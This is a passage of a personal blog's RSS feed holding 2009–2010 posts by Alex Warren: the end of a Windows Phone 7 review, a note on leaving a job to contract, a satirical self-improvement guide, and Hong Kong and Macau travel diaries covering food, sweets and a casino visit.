<p>They have also taken some decisions with the interface that they probably think of as &#8220;innovative&#8221;, but I would describe as &#8220;strange&#8221;. For example, instead of the iPhone&#8217;s single &#8220;home&#8221; button, there is a &#8220;back&#8221; button which will navigate back through your app, until you reach the first page when it will quit. But there&#8217;s also a &#8220;Start&#8221; button which takes you back to the app launcher. I can&#8217;t see the advantage of the additional hardware button here &#8211; the iPhone approach of having all app navigation in the touchscreen works perfectly well, so I wonder if Microsoft are forced to go this way to avoid stepping on one of Apple&#8217;s many patents.</p>
<p>I have doubts about the &#8220;panorama&#8221; interface, as shown in the picture above. It looks like this just makes a lot of the menus hard to find &#8211; it will be interesting to see how well this works on the devices when they appear later this year.</p>
<p>In summary, I find it hard to see Windows Phone 7 taking off. It would have been a great product five years ago, but Microsoft is clearly desperately chasing Apple and Android and is way behind. I like the idea of .NET on a mobile device &#8211; it would certainly make it easier for me to port my own existing applications to a mobile phone &#8211; but there&#8217;s nothing (yet) that makes it stand out in any area ahead of the competition, so any mobile app developer is going to have an extremely limited potential user base. It&#8217;s too little, too late.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My greatest weakness</title>
		<link>http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/</link>
		<comments>http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 18:30:31 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=290</guid>
		<description><![CDATA[A classic job interview question is &#8220;what is your greatest weakness?&#8221;. I suppose mine is that once I get bored, that&#8217;s it. As soon as I&#8217;ve got comfortable in a job and think I&#8217;ve got it all figured out, as &#8230; <a href="http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>A classic job interview question is &#8220;what is your greatest weakness?&#8221;. I suppose mine is that once I get bored, that&#8217;s it. As soon as I&#8217;ve got comfortable in a job and think I&#8217;ve got it all figured out, as soon as I&#8217;ve stopped being stressed because I don&#8217;t know what&#8217;s going on, as soon as I&#8217;m part of the furniture, there&#8217;s only one place to go &#8211; the exit.</p>
<p>So, after three years for my current employer I&#8217;ve handed in my notice. I&#8217;ve certainly improved a lot as a software developer since I got there, but the pace of improvement has slowed a lot recently so it&#8217;s time to move on.</p>
<p>I&#8217;ve decided to seek out temporary contracts instead of permanent employment. That should keep the boredom levels down, give me a nice variety of different work &#8211; and let me spend time between contracts building up my software business <a href="http://www.axeuk.com">Axe Software</a>. Yes, you may not think that text adventure games are the future, but you&#8217;ll see. Eventually. Perhaps.</p>
<p>It will be a bit more hassle &#8211; regular job interviews, the administrative overhead of setting up a limited company, and reduced job security, but really, overall it&#8217;s a no-brainer. I wish I&#8217;d thought of it sooner!</p>
<p>So, I have two questions &#8211; anyone need an awesome C# developer starting in August for, say, six months? And does anybody know a good accountant?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Alex&#8217;s Guide to a New You in 2010</title>
		<link>http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/</link>
		<comments>http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 12:00:45 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Comedy]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=277</guid>
		<description><![CDATA[It&#8217;s the beginning of a new decade, so it&#8217;s time to sort yourself out. Do you want to be the same old grumpy, boring, fat and stupid you of the noughties? Of course not! So turn your life around, try &#8230; <a href="http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s the beginning of a new decade, so it&#8217;s time to sort yourself out. Do you want to be the same old grumpy, boring, fat and stupid you of the noughties? Of course not! So turn your life around, try something new and rid yourself of ugliness using my fantastic guide to a whole new you, for a whole new decade!</p>
<p><strong>Step 1: A Positive Outlook</strong></p>
<p>Yes, maybe you think January is actually a rubbish time to stop your life from being crap. It&#8217;s dark and cold, and the memories of a loving, laughter-filled and delicious Christmas are fading, to be replaced by the cold reality of your fat, grey reflection staring back at you in the bathroom mirror.</p>
<p>That&#8217;s why it&#8217;s time to Think Positive! Yes, you really can ignore reality if you just delude yourself enough! Turn that frown upside down! Those tears are tears of joy! You&#8217;re not fat, just cuddly! You&#8217;re not ugly, you just have an interesting face! You&#8217;re not sad and alone in a big scary world full of people you wish would die &#8211; you&#8217;re just independent!</p>
<p>At the end of every day, try to think of three good things that have happened to you that day. For example, although today has been a fairly average day for me, I can easily think of three good things about it:</p>
<ul>
<li>Today I wasn&#8217;t brutally murdered by an escaped maniac!</li>
<li>I managed to eat all my breakfast without spilling any down myself! Shame about the cup of tea I had afterwards though.</li>
<li>I got a letter! That shows there&#8217;s someone out there who cares! Even though it was an unscrupulous debt collection agency. Still, as they said themselves, it would be a real shame if something bad happened to my house &#8211; they&#8217;re such caring souls!</li>
</ul>
<p><strong>Step 2: Rebrand Yourself</strong></p>
<p>So now you&#8217;re positive on the inside &#8211; it&#8217;s time to get positive on the outside too. Cast off your old name and go forth into the brave new world with a moniker that tells everybody who you are, and why you&#8217;re so great!</p>
<p>I hired a cutting-edge but cheap advertising agency to come up with a new brand. After several minutes of blue-sky thinking and meticulous market research, I now have a new identity to present to the world. Say goodbye to plain old &#8220;Alex Warren&#8221;, say hello to &#8220;Alexwar<sup>®</sup> sponsored by Anusol&#8221;.</p>
<p><strong>Step 3: Change Your Look</strong></p>
<p>Hey, you with the stupid noughties face! Announce your new life to the world with a fresh new look&#8230;</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/newlife1.jpg"><img class="alignnone size-full wp-image-280" style="border: 0px initial initial;" title="newlife" src="http://www.alexwarren.co.uk/wp-content/newlife1.jpg" alt="" width="579" height="285" /></a></p>
<p><strong>Step 4: Give Up Alcohol</strong></p>
<p>You might think that the best way to while away the bleak winter months would be to drink so heavily that you spend much of this early part of the year completely unconscious, and the rest of it utterly oblivious to the misery that surrounds you. Not so! We&#8217;re thinking positive, remember? You don&#8217;t need alcohol to lull you into your new happy-go-lucky way of life, you just need a mantra.</p>
<p>So, next time you find yourself reaching for that bottle of vodka, just sit down and repeat to yourself, &#8220;I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m happy, I&#8217;m so very happy, I&#8217;m happy, I&#8217;m happy, so very happy, happy, happy, everything is fine, everything is fine, everything is fine, everything is fine, everything is fine, I&#8217;m happy, I&#8217;m not crying, I will be OK, I&#8217;m fine, everything is fine, everything is fine&#8221; while rocking gently back and forth.</p>
<p><strong>Step 5: A New Career</strong></p>
<p>After following the above steps, you&#8217;ll probably turn up to work and realise that it just isn&#8217;t fulfilling you any more. And, by complete coincidence, you may find that your current place of employment are more than willing to let you seek out a new life elsewhere. They&#8217;ll be simply begging you to leave!</p>
<p>Perhaps you&#8217;ll find the job of dreams out there. Maybe you&#8217;ll decide that 2010 is the year for nothing but quiet contemplation, perhaps alone in a bedsit or some kind of hospital?</p>
<p><strong>Step 6: Save Money</strong></p>
<p>With your new direction, you&#8217;ll have a lot less money coming in, and you won&#8217;t be able to rely on your old friends to support you, because they will have stopped speaking to you. But they were useless anyway! They were holding you back, and you don&#8217;t want to return to your old ways now &#8211; you&#8217;ve come too far. Just think positive.</p>
<ul>
<li>Save on transport costs by walking everywhere, or just going nowhere!</li>
<li>Eat less! You&#8217;ll save money, and not be quite so hideously fat!</li>
<li>Stop washing your clothes! You may stink, but nobody will complain since nobody talks to you any more anyway! And we all like a bit of peace and quiet &#8211; so there&#8217;s a bonus!</li>
</ul>
<p><strong>Step 7: Your New Life Awaits</strong></p>
<p>If you&#8217;ve followed this guide, you&#8217;ll have transformed from a sad, unloved, repugnant waste of space into a much happier one.</p>
<p>May all your dreams come true in 2010 (except those induced by heavy medication).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2010/01/04/alexs-guide-to-a-new-you-in-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Look into my eyes&#8230;</title>
		<link>http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/#comments</comments>
		<pubDate>Fri, 16 Oct 2009 18:39:08 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Misc]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=273</guid>
		<description><![CDATA[I spotted this make-up advert while I was in Hong Kong: There&#8217;s something disturbing about it. Leaving aside for a moment the fact that the range is called &#8220;Nude Inspiration&#8221;, yet the model is wearing thick, dark, make-up, there&#8217;s just &#8230; <a href="http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I spotted this make-up advert while I was in Hong Kong:</p>
<p><a href="http://www.alexwarren.co.uk/photos/hongkong/IMG_4793.jpg.php?p=*full-image"><img class="alignnone" title="Make-up advert" src="http://www.alexwarren.co.uk/photos/cache/hongkong/IMG_4793.jpg_595.jpg" alt="" width="595" height="446" /></a></p>
<p>There&#8217;s something disturbing about it. Leaving aside for a moment the fact that the range is called &#8220;Nude Inspiration&#8221;, yet the model is wearing thick, dark, make-up, there&#8217;s just something&#8230; erm, wrong about her eyes.</p>
<p><a href="http://www.alexwarren.co.uk/photos/hongkong/IMG_4793.jpg.php?p=*full-image"><img class="alignnone" title="Eyes" src="http://www.alexwarren.co.uk/images/eyes.jpg" alt="" width="300" height="332" /></a></p>
<p>Is this a Photoshop disaster? Admittedly not quite as bad as <a href="http://www.theregister.co.uk/2009/10/08/ralph_lauren_photoshop/" target="_blank">Ralph Lauren</a>&#8216;s, but possibly more disturbing for being subtle.</p>
<p>Or is it just a trick of perspective?</p>
<p>Whichever, to me her eyes are either not at quite the same level, or one is closer to the centre of her face than the other.</p>
<p>Oh and her mouth is fucked up too.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/16/nude-inspiration-photoshop-disaster/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Most unpopular office sweets ever</title>
		<link>http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/#comments</comments>
		<pubDate>Mon, 12 Oct 2009 17:28:50 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=260</guid>
		<description><![CDATA[When I was in Hong Kong I went to a shop called Aji Ichiban to pick up some sweets for the office. I really wanted to pick up some duck kidneys but UK customs forbid importing meat from outside the EU. &#8230; <a href="http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>When I was in Hong Kong I went to a shop called <a href="http://www.ajiichiban.com.hk/eng/index.php" target="_blank">Aji Ichiban</a> to pick up some sweets for the office.</p>
<p>I really wanted to pick up some <a href="http://www.alexwarren.co.uk/2009/10/03/hong-kong-day-3-bone-crunchin-good/" target="_blank">duck kidneys</a> but UK customs forbid importing meat from outside the EU. So, I had to make do with some other weird-looking &#8220;treats&#8221;, and they turned out to be almost as off-putting.</p>
<p>Usually whenever an email goes out about free food, there is a stampede and very quickly nothing is left. You&#8217;d think my colleagues never got fed. This time though, a few hovered around my desk, poking the sweets curiously and only a brave few were tempted to try one, with some trepidation.</p>
<p>It turns out that these sweets are more bizarre and disgusting than most of the food I tried while I was in Hong Kong. &#8220;Highlights&#8221; of my particular bag of delights were:</p>
<ul>
<li>Liquorice <a href="http://en.wikipedia.org/wiki/Clausena_lansium" target="_blank">Wampee</a> – this didn&#8217;t taste at all of liquorice. You know when you&#8217;re visiting a stately home and there&#8217;s that kind of musty, old-fashioned smell? These sweets taste like that. It&#8217;s like eating Henry VIII’s duvet.</li>
<li>Ginseng Candy – “like sucking on an incense stick”, said one of my colleagues. I think it was more like licking a school hall floor &#8211; kind of woody.</li>
<li>Honey Plum – “sweets aren’t supposed to be salty are they?” said a co-worker, before spitting out the enormous seed into a nearby bin.</li>
<li>A salty plum stone in a bland boiled sweet which looked like an eyeball – “the worst thing I’ve ever tasted” was one comment, which wasn&#8217;t far off the mark. Bizarre and disgusting.</li>
<li>Lemon tea – this was actually quite pleasant. It was odd to have a sweet that tasted of tea, but it did a great job of refreshing the palate after eating one of the other ones.</li>
<li>Preserved strawberries – these were OK. They were just dried-out strawberries, so no unpleasant surprises there.</li>
<li>Preserved spiced olive – this sounded like it would be hideous, but it was surprisingly nice &#8211; not much of an olive flavour thankfully, just an interestingly tasty mix of sweetness and spice with a hint of savoury.</li>
<li>Hawthorne Cake – a sugary wafer, not too bad.</li>
<li>Iced hawthorne – just like a sheet of fruit gum.</li>
</ul>
<p>There were some great grimaces as people munched on what has to be the most unpopular office treat we&#8217;ve seen for some time. Mission accomplished!</p>
<p>Here are the leftovers&#8230;</p>
<p><a href="http://www.alexwarren.co.uk/images/IMG_0361.JPG"><img class="alignnone" title="Sweets" src="http://www.alexwarren.co.uk/images/IMG_0361s.jpg" alt="" width="600" height="450" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/12/most-unpopular-office-sweets-ever/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hong Kong Day 10/11 &#8211; And Finally&#8230;</title>
		<link>http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/#comments</comments>
		<pubDate>Sun, 11 Oct 2009 18:30:56 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=249</guid>
		<description><![CDATA[Friday 9th October We got up for breakfast at the Rio hotel, which was an extensive buffet of the usual hotel breakfast fare. All perfectly fine, but we could have done without the panpipe instrumental cover versions of Andrew Lloyd &#8230; <a href="http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Friday 9th October</strong></p>
<p>We got up for breakfast at the Rio hotel, which was an extensive buffet of the usual hotel breakfast fare. All perfectly fine, but we could have done without the panpipe instrumental cover versions of Andrew Lloyd Webber and Bryan Adams being piped into the restaurant &#8211; although perhaps, for those who had lost large amounts in the casino the night before, it was the perfect soundtrack for them to weep into their morning coffees.</p>
<p>We got the ferry back from Macau into Hong Kong, and then returned to the hostel and spent the entire afternoon catching up on sleep. At about 6pm we went out and met up for the final time with Will&#8217;s friends Syliva and Winnie, and we grabbed a quick snack of some more takoyaki octopus balls, before getting some sushi. We had sea urchin (smooth and buttery); various sashimis &#8211; salmon, red snapper (a quite strong but pleasant fishy taste), geoduck (a species of saltwater clam, which didn&#8217;t taste of much); and sushi covered in brightly coloured crab roe.</p>
<p>Then we went to a different place for dessert, which was a massive tower of ice crystals like a solid slush puppy, with various flavourings &#8211; strawberry, sesame and green tea. The green tea flavour didn&#8217;t really taste of anything. There was also a pot of syrup you could pour over the ice, which just made it melt away leaving you with a sweet slush.</p>
<p>We picked up some sweets for our various offices. I would have loved to have picked up the sweetened duck kidneys, but Will reminded me that you probably can&#8217;t bring back meat products into the UK (and he was right &#8211; there was an announcement when we arrived back at Heathrow about the huge fines and imprisonment you risk by attempting to do so).</p>
<p>We got a bus back down to the harbour to go to the Sheraton again for cocktails with a view, as Syliva and Winnie hadn&#8217;t been before &#8211; the usual story of not doing the touristy things in your own city unless you&#8217;re with visitors. The &#8220;Key of Soul&#8221; cocktail was nice and fruity, and the non-alcoholic ones were really nice too, but the highlight had to be one called &#8220;Elements&#8221; which was made from Bailey&#8217;s and strawberries. It was like a strawberry milkshake with a kick &#8211; delicious.</p>
<p>Perhaps unwisely it was a pretty late night. We didn&#8217;t get to bed until about 2am, and we were going to have to check in for our flight at about 6.30&#8230;</p>
<p><strong>Saturday 10th October</strong></p>
<p>After about two hours&#8217; sleep, Will&#8217;s aunt&#8217;s driver Jackie picked us up to take us to the airport. Hong Kong airport is at number ten on the list of biggest buildings in the world by floor space, so that was two ticked off on one holiday (along with The Venetian). It&#8217;s nice and modern, but apart from that it&#8217;s just another airport. One of the duty-free shops had a bottle of blended cognac on display worth HK$38,000 (about £3000), at what seemed an easily-smashable height. The cognacs in the ingredients all dated from between 1800 and 1930. I don&#8217;t know who would ever buy such a thing at an airport &#8211; I can only conclude that it was on such prominent display in the hope that someone would break it and have to pay for it. Another shop was called &#8220;Caviar &amp; Prunier&#8221;. It&#8217;s strange how duty-free areas at airports still have this aspirational quality, even though air travel is such a cheap and normal thing to do these days. You wouldn&#8217;t get this kind of thing in a bus station.</p>
<p>The plane was half an hour late for boarding, but that was pretty insignificant for a 13-hour flight. It was another pleasant flight with Air New Zealand &#8211; I&#8217;d happily use them again. Three meals this time &#8211; sausage and omelette for breakfast, a ham and cheese sandwich half-way through the flight, and a lunch of chicken curry. On the in-flight entertainment system I watched Frost/Nixon, which I&#8217;ve been wanting to watch for a while &#8211; an excellent film, and for my non-film-buff, tired self it was nice and easy to follow.</p>
<p>We landed just after 3pm and were home by 5. I felt tired but my body clock seemed correct &#8211; it didn&#8217;t &#8220;feel&#8221; like the midnight that it was in Hong Kong. I&#8217;d had a bit of a nap on the plane but not for very long.</p>
<p>London smells clean. That&#8217;s not something I would ever have expected to say, but there was a notable freshness in the air compared to Hong Kong. The skies are clearer and it&#8217;s far less hazy. And the buildings are a lot smaller. It was strange sitting on the train back to Forest Hill and looking out over what seemed like a small town compared to the towering city we&#8217;d grown used to.</p>
<p>I think I&#8217;ll give myself a break from Chinese food for a while &#8211; at home we treated ourselves to a dinner of burger and chips. Not that we couldn&#8217;t easily have had that in Hong Kong &#8211; there are plenty of branches of McDonald&#8217;s, but a large part of this holiday was about trying out the local food. The Chinese takeaway menu waiting on the doormat was actually rather unfamiliar &#8211; there&#8217;s so much more variety to Chinese food than crispy duck pancakes, sweet and sour and chow mein &#8211; in fact these were all things that we hardly saw out there. It just shows how we get a very Westernised version of foreign food, but then maybe that&#8217;s because we don&#8217;t have much of an appetite for the boney gristle and pigeon&#8217;s heads.</p>
<p>Not that we would have tried of half of these things if it weren&#8217;t for Will &#8211; although there is quite a lot of English around, a lot of people don&#8217;t speak it and plenty of menus don&#8217;t have any English on them either, so having a Cantonese speaker in the group made it a lot easier, more interesting and fun. In fact we wouldn&#8217;t even have gone in the first place without him, so cheers Will!</p>
<p>I&#8217;m pretty tired now and wish I had a few more days off before going back to work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/11/hong-kong-day-1011-and-finally/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hong Kong Day 9.2 &#8211; Gambling in Macau</title>
		<link>http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-2-gambling-in-macau/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-2-gambling-in-macau/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 15:38:22 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-2-gambling-in-macau/</guid>
		<description><![CDATA[Thursday 8th October, part 2 A taxi took us from the bar across the bridge to Taipa, where several colossal casinos are being built. Recently completed is The Venetian &#8211; bigger than its counterpart in Las Vegas, this is the &#8230; <a href="http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-2-gambling-in-macau/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Thursday 8th October, part 2</p>
<p>A taxi took us from the bar across the bridge to Taipa, where several colossal casinos are being built. Recently completed is The Venetian &#8211; bigger than its counterpart in Las Vegas, this is the biggest casino in the world, and the fourth largest building by floor space.</p>
<p>Surely there can be no more profound a symbol of the irrationality and stupidity of human beings than these enormous, opulent buildings, funded entirely by the vast amounts of money people lose when they gamble. These monuments are physical oxymorons &#8211; telling people that this is a place where they can get rich, while the very existence of such grand buildings is testament to the reality that the only thing they&#8217;re good for is extracting large amounts of money from people.</p>
<p>The Venetian is a literally amazing building. We were expecting Disneyland-style tackiness, but clearly absolutely no expense has been spared in making the interior lavish and yet still somehow tasteful. Entering the lobby, you are greeted by the sight of a huge palace of marble and painted ceilings stretching far into the distance.</p>
<p>Walking down the corridor with its huge columns, you reach the casino itself which occupies an area of the ground floor which looked to me about the size of two to three football pitches, about half slot machines and roulette machines and so on, and the other half blackjack, craps tables etc.</p>
<p>In the centre of all this is a bar which although not cheap was fairly reasonably priced. We drank whisky in the hope that things would start to make some kind of sense.</p>
<p>Next to the bar are two curved escalators. They lead up to level 3 which is a huge shopping mall designed to look like Venice. It has canals and gondolas and bridges. It was pretty quiet up here as it was late, and the shops were shut. During the day visitors can take a trip along the canals with a singing gondolier, and marvel at the in-character street entertainers. I&#8217;m kind of glad we missed those &#8211; the place was surreal enough as it was.</p>
<p>Returning downstairs to the casino, we put a HK$20 note (about £2) into a slot machine and tried to work out what was going on. It didn&#8217;t make any sense to us. Lights flashed and things span. It printed out a token for HK$5 and that was it. We put that into a different machine which turned out to make exactly as much sense.</p>
<p>Having failed to see the attraction of the slot machines, we looked at the tables. Bored croupiers sat silently as they shifted cards and chips, and most of the punters were just as silent, looking at the green surface in front of them through cold dead eyes.</p>
<p>What a depressing sight. For all the variety of machines and games involved, there&#8217;s no skill involved here, so whatever you&#8217;re playing you&#8217;re just continually forking over cash and, presumably, occasionally getting some of it back. Maybe we were in fact lucky that our toe-dip with the slot machines didn&#8217;t give us any reward. I expect all the gamblers here had some initial luck once upon a time, and now they&#8217;re trapped, like drug addicts, forever hoping for the same rush as that first hit.</p>
<p>At the back of the casino, in a bar called the Bellini Lounge, games of a different nature were taking place, and  far more interesting. On one side, men taking a break from the roulette tables, and on the other, women looking to take them for everything they had, or at least everything they had left. Each side manipulating the other, each side believing they&#8217;re the winner, but once again the house is the only winner in this hall of losers.</p>
<p>The gold diggers sat in a group around a table at the back, drunkenly dancing, waiting for victims. To my fairly sober eyes they were completely terrifying, some of them rather masculine, others made-up and surgically enhanced as if to remove all trace of humanity.</p>
<p>Pop music played too loud, too fast and badly mixed provided an uneasy soundtrack to the human zoo. At the bar, a drunk, 30-something buck-toothed man chatted to two women. Further along the bar, sitting with a man who was probably his father, was a chap in a T-shirt with something of a Noel Fielding look about him. He couldn&#8217;t take his eyes off the drunk and his two unwilling female companions. Jealousy, perhaps? Or was he, like us, merely a spectator?</p>
<p>The band returned to the stage to play some more cover songs. Was this a good or a bad gig for them? Is this what they aspired to be, musical wallpaper, passionlessly regurgitating Brick in the Wall and Stairway to Heaven?</p>
<p>Noel Fielding had disappeared, and the drunk&#8217;s lady companions had somehow resisted his charms, so the drunk was now sat alone at the bar. He waved at the gold-digger in the low cut black top and tight white shorts, and she immediately descended upon him as if he were a delicious field mouse.</p>
<p>The barman served up a cocktail and a shot each, and the drunken man then fumbled for a while as he struggled to find enough money to pay his bill. The vulture could see that a few drinks was all she could extract from this one, and so she rejoined her fellow fem-bots. Perhaps in an effort to convince her that what he lacked in money he made up for in charm, he ran to the front as the band started Smells Like Teen Spirit.</p>
<p>He appeared to be trying to get on stage, but made do with jumping around and making rockin&#8217; hand gestures at the singer. Returning to his temporary friend at the witches&#8217; table, neither she nor they were interested any more, and he disappeared behind the curtain back into the casino, to try his luck with some different machines.</p>
<p>With his disappearance, the cycle began anew. The Noel Fielding lookalike had returned, and was speaking to the airship Hindenbra, at a safe distance from her gravity-defying bust. His father hung around awkwardly in the background. Nearby stood the drunk&#8217;s first two companions, so maybe tonight could still be Noel&#8217;s lucky night after all. Meanwhile, a bald man was chatting up the vulture, just one more loser trying his luck against the odds.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-2-gambling-in-macau/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hong Kong Day 9.1 &#8211; Ambling in Macau</title>
		<link>http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-1-ambling-in-macau/</link>
		<comments>http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-1-ambling-in-macau/#comments</comments>
		<pubDate>Sat, 10 Oct 2009 15:34:46 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Travel]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-1-ambling-in-macau/</guid>
		<description><![CDATA[Thursday 8th October, part 1 A trip across the sea today to Macau, a former Portuguese colony returned to China in 1999 and now run as a SAR (Special Administrative Region) in a similar way to Hong Kong. The ferry &#8230; <a href="http://www.alexwarren.co.uk/2009/10/10/hong-kong-day-9-1-ambling-in-macau/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Thursday 8th October, part 1</p>
<p>A trip across the sea today to Macau, a former Portuguese colony returned to China in 1999 and now run as a SAR (Special Administrative Region) in a similar way to Hong Kong.</p>
<p>The ferry took about an hour and was very smooth, apart from a rather bumpy boarding. I got the impression that the harbour in Hong Kong wasn&#8217;t particularly well designed as it seemed to magnify the waves, making getting on the ferry difficult. It wasn&#8217;t long until we reached our destination and could see the massive casinos through the haze. This part of the world always seems to be hazy &#8211; the views in London are much clearer in comparison. Apparently it&#8217;s because of the pollution pumped out by the mainland Chinese factories.</p>
<p>Will&#8217;s aunt treated us to a stay in the 4-star Rio Hotel. It could not be more different to our cheap hostel &#8211; it was huge. The bathroom was bigger than our entire hostel room and had a lovely walk-in shower, as well as a bath. The only complaint I might make was that the bath was a little small, but hey, at least there was a bath. Also available in the hotel were a swimming pool, gym and a dodgy-looking 24-hour sauna. And with Macau being China&#8217;s up-and-coming answer to Las Vegas, there were casinos on three floors.</p>
<p>Casinos are huge business in Macau, and they&#8217;re set to become bigger. As the only part of China with legal gambling, this small SAR now gets more annual visitors than Hong Kong &#8211; most of them from the mainland. All around, the dirty residential blocks of old are interspersed with new casinos with increasingly impressive and somewhat ridiculous architecture. Not far from our hotel was the Grand Lisboa, a huge pineapple-shaped tower that stood in marked contrast to the delapidated block of flats on just the other side of the road. </p>
<p>The old town though maintains much of its historical character &#8211; much more so than Hong Kong. There is a ruined cathedral and a fortress, and an impressive mosaic pavement featuring designs of sea creatures.</p>
<p>We stopped off for lunch at a restaurant and had a huge meal of sea bass, chicken curry, clams, baked fish and a kind of cheesey porky rice. It was a nice contrast to the kinds of meals we&#8217;ve had on the rest of the holiday. It was a treat to have a tomato and some non-briochey bread, as these seem to be rare in Hong Kong.</p>
<p>We explored the old town and wandered around a park which was a Protestant cemetry. Old Chinese men were sitting around, chatting and playing card games. They eyed us with some suspicion and made us feel quite out of place.</p>
<p>We tried in vain to find a bar. There simply aren&#8217;t many around in Macau for some reason, so we returned to the hotel for a bit of a swim in the 25th-floor pool before going to the bar there.</p>
<p>For dinner we went to Restaurant Litoral, recommended in one of our guide books. It was a fabulous meal and extremely good value for money. We had curry beef cakes, garlic prawns and African chicken. The only slight disappointments for me were the charcoal black pork (which wasn&#8217;t just burnt pork as I feared from the name, but it was a bit chewy), and the Macanese stew, which was really just a pot of stock. Although the stock was delicious, it was entirely comprised of inedible bits of chicken bone, skin and gristle. The only solid part you could eat was the cabbage, although to be fair the stock made the cabbage deliciously meaty. </p>
<p>We took a taxi to seemingly the only street in Macau that had any bars. The red half-moon hung in the sky behind the distant smog. We had a few drinks in preparation for the madness to follow &#8211; none of us had even been in a casino before, and we were about to go to the largest casino in the world.</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/l_1600_1200_48524C9E-D974-4E13-A98A-4E3EE00252A6.jpeg"><img src="http://www.alexwarren.co.uk/wp-content/l_1600_1200_48524C9E-D974-4E13-A98A-4E3EE00252A6.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
<p><a href="http://www.alexwarren.co.uk/wp-content/l_1600_1200_457A24DD-B3D9-4F1B-8A62-46B5EE9EDBA0.jpeg"><img src="http://www.alexwarren.co.uk/wp-content/l_1600_1200_457A24DD-B3D9-4F1B-8A62-46B5EE9EDBA0.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
<p><a href="http://www.alexwarren.co.uk/wp-content/l_1600_1200_E2C6F62C-2F0E-4237-AA79-DF1D677B826E.jpeg"><img src="http://www.alexwarren.co.uk/wp-content/l_1600_1200_E2C6F62C-2F0E-4237-AA79-DF1D677B826E.jpeg" alt="" width="300" height="225" class="alignnone size-full wp-image-364" /></a></p>
